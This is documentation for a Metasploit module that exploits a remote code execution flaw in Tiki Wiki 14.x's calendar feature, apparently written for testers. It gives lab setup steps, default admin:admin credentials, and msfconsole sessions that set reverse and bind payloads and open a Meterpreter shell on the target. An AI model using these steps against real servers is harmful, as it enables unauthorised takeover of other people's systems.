## Vulnerable Application

  * Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
  * Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
  * Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)

  **Of note, there is some discussion if 14.2 is vuln or not.**

  1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
  2. The linked app Exploit-DB has is 14.2.
  3. Its verified on Exploit-DB.

vs

  1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
  2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem

### Creating A Testing Environment

  1. Create a fresh Ubuntu 16.04 w/ a LAMP install
  2. `apt-get install php-xml`
  3. Normal php install at that point!
  4. After install, login as admin:admin
  5. Go to the Control Panels
  6. Click Features
  7. Enable Calendar under Main feature
  8. Click Apply

#### Permissions

  If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:

  1. Log in as admin
  2. From the top dropdown select permissions
  3. Check Anonymous near the top
  4. Click Assign

## Verification Steps

  1. Install the software as documented above
  2. Start msfconsole
  3. Do: `use exploit/linux/http/tiki_calendar_exec`
  4. Do: `set rhost 10.10.10.10`
  5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
  6. Do: `set payload php/bind_perl`
  7. Do: `set verbose true`
  8. Do: `check`

```
  [*] Attempting Login
  [+] Login Successful!
  [+] 10.10.10.10:80 The target is vulnerable.
```

  9. Do: `exploit`
  10. You should get a shell

```
  [*] Started reverse TCP handler on 10.10.10.10:4444 
  [*] Attempting Login
  [+] Login Successful!
  [*] Sending malicious calendar view packet
  [*] Sending stage (33721 bytes) 10.10.10.10.190
  [*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
```

## Options

### PASSWORD

  Password is set at first login. Default for admin is 'admin'.

## Scenarios

Example running against unauthenticated calendar v14.1

```
  msf > use exploit/linux/http/tiki_calendar_exec
  msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
  rhost => 192.168.2.190
  msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
  targeturi => /t14_1/
  msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
  payload => php/meterpreter/reverse_tcp
  msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
  lhost => 192.168.2.229
  msf exploit(tiki_calendar_exec) > set verbose true
  verbose => true
  msf exploit(tiki_calendar_exec) > set username ''
  username => 
  msf exploit(tiki_calendar_exec) > exploit
  
  [*] Started reverse TCP handler on 192.168.2.229:4444 
  [*] Sending malicious calendar view packet
  [*] Sending stage (33721 bytes) to 192.168.2.190
  [*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
  
  meterpreter > sysinfo
  Computer    : tikiwiki
  OS          : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
  Meterpreter : php/php
  meterpreter > 
```
